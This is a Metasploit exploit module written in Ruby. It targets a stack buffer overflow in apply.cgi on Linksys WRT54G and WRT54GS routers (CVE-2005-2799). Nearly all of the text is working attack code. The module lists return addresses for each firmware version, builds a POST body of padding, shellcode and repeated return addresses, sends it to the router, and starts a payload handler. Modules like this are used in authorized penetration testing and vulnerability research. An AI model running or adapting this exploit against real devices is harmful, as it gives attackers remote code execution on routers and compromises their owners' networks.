Linksys WRT54G < 4.20.7 / WRT54GS < 1.05.2 - apply.cgi Buffer Overflow



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'Linksys apply.cgi buffer overflow',
            'Description'    => %q{
                This module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
                According to iDefense who discovered this vulnerability, all WRT54G versions prior to
                4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
            },
            'Author'         => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2005-2799'],
                    [ 'OSVDB', '19389' ],
                    [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
                ],
            'Payload'        =>
                {
                    #'BadChars' => "\x00",
                    'Space'    => 10000,
                    'DisableNops' => true,
                },
            'Arch'         => ARCH_MIPSLE,
            'Platform'       => 'linux',
            'Targets'        => 
                [
                    # the middle of the intersection is our generic address
                    #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
                    [ 'Generic', { 'Bufaddr' => 0x10002b50}],
                    [ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
                    [ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
                    [ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
                    [ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
                    [ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
                    [ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
                ],
            'DisclosureDate' => 'Sep 13 2005',
            'DefaultTarget' => 0))
            
            register_options(
                [
                    Opt::RPORT(80),
                    Opt::RHOST('192.168.1.1')
                ], self.class)
    end


# Approx size of the remaining space in the data segment after our buffer
DataSegSize=0x4000
    def exploit
        c = connect

        print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
        print_status("Shellcode length: #{payload.encoded.length}")

        addr = [target['Bufaddr']].pack('V')

#        original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
#        original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
#                    Pointers in 2.02.6beta1


#         | BIG BUFFER  | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
#         | <- 10000 -> | **************************** Pad with return address ***********************
#         I know this is horrible :( - On the other side this is very generic :)
        post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
        
        #post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"

#            res = send_request_cgi({ 'uri' => "/apply.cgi",    
#                  'method' => 'POST',
#                  'data' => post_data });
#        print_status("Malicious request sent, do_ej should be overwritten")
        
        req = c.request_cgi({ 'uri' => "/apply.cgi",    
                  'method' => 'POST',
                  'data' => post_data })
        c.send_request(req)
        print_status("Mayhem sent")


#        req=c.request_cgi('uri' => '/');
#        c.send_request(req);
#        print_status("do_ej triggered")

        handler
        disconnect
    end

end